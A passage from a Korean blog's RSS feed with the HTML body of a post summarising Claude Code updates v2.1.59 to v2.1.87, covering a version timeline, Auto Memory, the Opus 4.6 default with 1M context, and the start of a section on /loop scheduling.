      <category>Harness Engineering</category>
      <category>YC CEO</category>
      <category>하네스</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/570</guid>
      <comments>https://goddaehee.tistory.com/570#entry570comment</comments>
      <pubDate>Mon, 30 Mar 2026 22:00:01 +0900</pubDate>
    </item>
    <item>
      <title>Claude Code 3월 폭풍 업데이트(v2.1.59~87 업데이트) 정리 - 한 달간 20개 릴리스, Auto Memory부터 1M 컨텍스트까지</title>
      <link>https://goddaehee.tistory.com/569</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2598&quot; data-origin-height=&quot;1404&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bRMKdl/dJMcafTAS2H/9scBtY4Qmf83D3YFT0XZy0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bRMKdl/dJMcafTAS2H/9scBtY4Qmf83D3YFT0XZy0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bRMKdl/dJMcafTAS2H/9scBtY4Qmf83D3YFT0XZy0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbRMKdl%2FdJMcafTAS2H%2F9scBtY4Qmf83D3YFT0XZy0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2598&quot; height=&quot;1404&quot; data-origin-width=&quot;2598&quot; data-origin-height=&quot;1404&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Claude Code가 3월 한 달간 폭풍 업데이트를 했다. v2.1.59~v2.1.87(3월 : v2.1.66~87)까지 대략적으로 정리해보려 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Auto Memory의 탄생부터, /loop 크론 스케줄링, Opus 4.6 1M 컨텍스트, Voice STT 20개 언어 지원, 트랜스크립트 검색, 팀별 정책 관리, 반응형 훅, 조건부 훅 실행, 훅 headless 통합까지 &amp;mdash; &quot;Claude Code가 어떻게 달라졌는가&quot;를 테마별로 정리한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이번 업데이트의 핵심은 명확하다: &lt;b&gt;검색이 가능해졌고, 팀 관리가 쉬워졌고, 긴 세션이 안정적이 되었다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;버전 타임라인 (v2.1.59 &amp;rarr; v2.1.87)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Auto Memory &amp;mdash; Claude가 기억하기 시작하다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Opus 4.6 + 1M 컨텍스트 &amp;mdash; 모델의 체급 변화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;/loop &amp;amp; 크론 &amp;mdash; 세션 내 자동화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Voice Mode &amp;mdash; 20개 언어, 키바인딩, 안정화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;개발자 도구 &amp;mdash; /simplify, /batch, /plan, /context&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;플러그인 &amp;amp; 훅 생태계&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;성능 &amp;amp; 메모리 &amp;mdash; 13건의 누수를 잡다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;보안 수정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;검색 &amp;amp; 네비게이션 &amp;mdash; 드디어 대화를 찾을 수 있다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;팀 &amp;amp; 엔터프라이즈 &amp;mdash; 조직 정책 관리의 진화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;훅 시스템 &amp;mdash; 반응형 자동화의 확장&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;플러그인 &amp;amp; MCP &amp;mdash; 보안과 확장성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;성능 &amp;amp; 안정성 &amp;mdash; 긴 세션의 고질병 해결&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;개발자 경험(DX) &amp;mdash; 작은 것들이 모여 큰 차이&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;훅 진화 2.0 &amp;mdash; 조건부 실행과 headless 통합 (v2.1.85~87)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;성능 &amp;amp; DX &amp;mdash; 스크롤 엔진 교체, Read 최적화, 스킬 UX&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;안정성 대수술 &amp;mdash; v2.1.85~87의 주요 버그 수정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;Claude Code v2.1.59~v2.1.87 업데이트 요약&lt;/b&gt;&lt;br /&gt;24개 릴리스의 핵심: &lt;b&gt;Auto Memory&lt;/b&gt;(세션 간 학습), &lt;b&gt;Opus 4.6 1M 컨텍스트&lt;/b&gt;, &lt;b&gt;/loop 크론&lt;/b&gt;, &lt;b&gt;Voice STT 20개 언어&lt;/b&gt;, &lt;b&gt;트랜스크립트 검색&lt;/b&gt;(Ctrl+O &amp;rarr; /), &lt;b&gt;팀별 정책 관리&lt;/b&gt;(managed-settings.d/), &lt;b&gt;반응형 훅&lt;/b&gt;(CwdChanged/FileChanged), &lt;b&gt;플러그인 Keychain 보안&lt;/b&gt;. &lt;br /&gt;출처: &lt;a href=&quot;https://github.com/anthropics/claude-code/blob/main/CHANGELOG.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code 공식 CHANGELOG&lt;/a&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 버전 타임라인&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;주요 헤드라인&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.59&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Auto Memory 시작&lt;/b&gt;, /copy 인터랙티브 피커&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.61~62&lt;br /&gt;&lt;span style=&quot;color: #999; font-size: 12px;&quot;&gt;(v2.1.60: CHANGELOG 항목 없음)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;Windows 설정 동시 쓰기 수정, 프롬프트 캐시 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.63&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;/simplify, /batch&lt;/b&gt;, HTTP 훅, 워크트리 Auto Memory 공유, 13건 메모리 누수 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.66&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;에러 로깅 축소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.68&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Opus 4.6 기본 medium effort&lt;/b&gt;, ultrathink 키워드 재도입&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.69&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Voice STT 20개 언어&lt;/b&gt;, InstructionsLoaded 훅, /claude-api 스킬, gitignore 보안 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.70&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;3P 게이트웨이 호환성, CJK 클립보드, 렌더링 74% 감소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.71&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;/loop 크론 스케줄링&lt;/b&gt;, voice 키바인딩, stdin 프리즈 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.72&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;/plan 설명 인자, ExitWorktree, effort 단순화 (○◐●), 번들 -510KB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.73&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;modelOverrides, /loop Bedrock/Vertex 수정, 기본 모델 Opus 4.6으로&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.74&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;/context 최적화 제안, autoMemoryDirectory 설정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.75&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Opus 4.6 1M 컨텍스트 기본&lt;/b&gt;, /color, 메모리 타임스탬프&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.76&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;MCP elicitation, gitignore 스킬 보안 수정, Elicitation/ElicitationResult 훅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.77&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;Opus 4.6 출력 64k/상한 128k, /fork&amp;rarr;/branch, --resume 최대 45% 빨라짐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.78&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;StopFailure 훅, 라인별 스트리밍, 플러그인 persistent data, 보안 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.79&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;--console 인증, /btw 수정, 메모리 -18MB, VSCode Remote Control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.80&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;rate_limits 상태바, --channels 프리뷰, settings 플러그인 소스, 250k파일 -80MB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.81&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;--bare 플래그, --channels 권한 릴레이, MCP 도구 접기 UI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.82&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;(공개 CHANGELOG에 항목 없음 &amp;mdash; 스킵된 버전)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.83&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;트랜스크립트 검색, managed-settings.d/, CwdChanged 훅, 플러그인 Keychain&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.84&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;PowerShell, TaskCreated 훅, 75분 유휴 /clear 안내, CJK IME 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.85&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;훅 if 조건부 필드, PreToolUse updatedInput&lt;/b&gt;, 스크롤 WASM&amp;rarr;TS, MCP headersHelper 환경변수, 30건+ 버그 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.86&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;X-Claude-Code-Session-Id 헤더&lt;/b&gt;, .jj/.sl VCS 제외, Read 토큰 최적화, /skills 알파벳 정렬, 메모리 파일 클릭&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.87&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;Cowork Dispatch 메시지 미전달 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. Auto Memory &amp;mdash; Claude가 기억하기 시작하다&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;v2.1.59 이전까지 Claude Code는 세션이 끝나면 모든 것을 잊었다. CLAUDE.md에 수동으로 적어두지 않으면 &quot;지난번에 어떤 결정을 했는지&quot; 알 수 없었다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2004&quot; data-origin-height=&quot;1092&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vrvBJ/dJMcahDQwH1/TIQlKjozv1DXGM6HNku53k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vrvBJ/dJMcahDQwH1/TIQlKjozv1DXGM6HNku53k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vrvBJ/dJMcahDQwH1/TIQlKjozv1DXGM6HNku53k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvrvBJ%2FdJMcahDQwH1%2FTIQlKjozv1DXGM6HNku53k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2004&quot; height=&quot;1092&quot; data-origin-width=&quot;2004&quot; data-origin-height=&quot;1092&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Auto Memory 진화&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.59&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Auto Memory 출시&lt;/b&gt; &amp;mdash; Claude가 유용한 컨텍스트를 자동 저장. &lt;code&gt;/memory&lt;/code&gt;로 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.63&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;git 워크트리 간 Auto Memory &lt;b&gt;자동 공유&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.74&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;autoMemoryDirectory&lt;/code&gt; 설정 &amp;mdash; 커스텀 저장 경로 지원 (Dropbox, iCloud 동기화 가능)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.75&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;메모리 파일에 &lt;b&gt;last-modified 타임스탬프&lt;/b&gt; &amp;mdash; 오래된 메모리와 최신 메모리 구분&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실전 팁&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Memory는 &lt;code&gt;~/.claude/projects/&amp;lt;project&amp;gt;/memory/&lt;/code&gt;에 마크다운으로 저장된다. &lt;code&gt;/memory&lt;/code&gt;로 열어서 오래되거나 잘못된 항목을 정리하면 Claude의 판단 정확도가 올라간다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. Opus 4.6 + 1M 컨텍스트 &amp;mdash; 모델의 체급 변화&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;변경&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.68&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Opus 4.6 기본 &lt;b&gt;medium effort&lt;/b&gt; (Max/Team). &quot;ultrathink&quot; 키워드로 high effort 전환&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.68&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Opus 4.0/4.1 제거 &amp;mdash; 핀된 사용자 자동 Opus 4.6 이전&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.72&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;effort 단순화: low(○) / medium(◐) / high(●). &lt;code&gt;/effort auto&lt;/code&gt;로 기본값 복원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.73&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Bedrock/Vertex/Foundry 기본 모델도 &lt;b&gt;Opus 4.6&lt;/b&gt;으로 (이전: Opus 4.1)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.75&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Opus 4.6 1M 컨텍스트&lt;/b&gt; 기본 제공 (Max/Team/Enterprise). 이전에는 추가 사용량 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1976&quot; data-origin-height=&quot;1050&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LK4tO/dJMcaiQgEv7/W9eRzbiDYnFH7yZFDmU2Sk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LK4tO/dJMcaiQgEv7/W9eRzbiDYnFH7yZFDmU2Sk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LK4tO/dJMcaiQgEv7/W9eRzbiDYnFH7yZFDmU2Sk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLK4tO%2FdJMcaiQgEv7%2FW9eRzbiDYnFH7yZFDmU2Sk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1976&quot; height=&quot;1050&quot; data-origin-width=&quot;1976&quot; data-origin-height=&quot;1050&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;v2.1.59에서 v2.1.75까지, Claude Code의 기본 모델이 Opus 4.1 &amp;rarr; Opus 4.6(medium effort, 1M 컨텍스트)으로 완전히 전환되었다. 이 변화만으로도 긴 세션의 안정성과 코드 품질이 크게 개선된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. /loop &amp;amp; 크론 &amp;mdash; 세션 내 자동화&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;1114&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CIlX9/dJMcaaxZsPv/usGZPtwryibGZ0DmoQFi10/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CIlX9/dJMcaaxZsPv/usGZPtwryibGZ0DmoQFi10/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CIlX9/dJMcaaxZsPv/usGZPtwryibGZ0DmoQFi10/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCIlX9%2FdJMcaaxZsPv%2FusGZPtwryibGZ0DmoQFi10%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1992&quot; height=&quot;1114&quot; 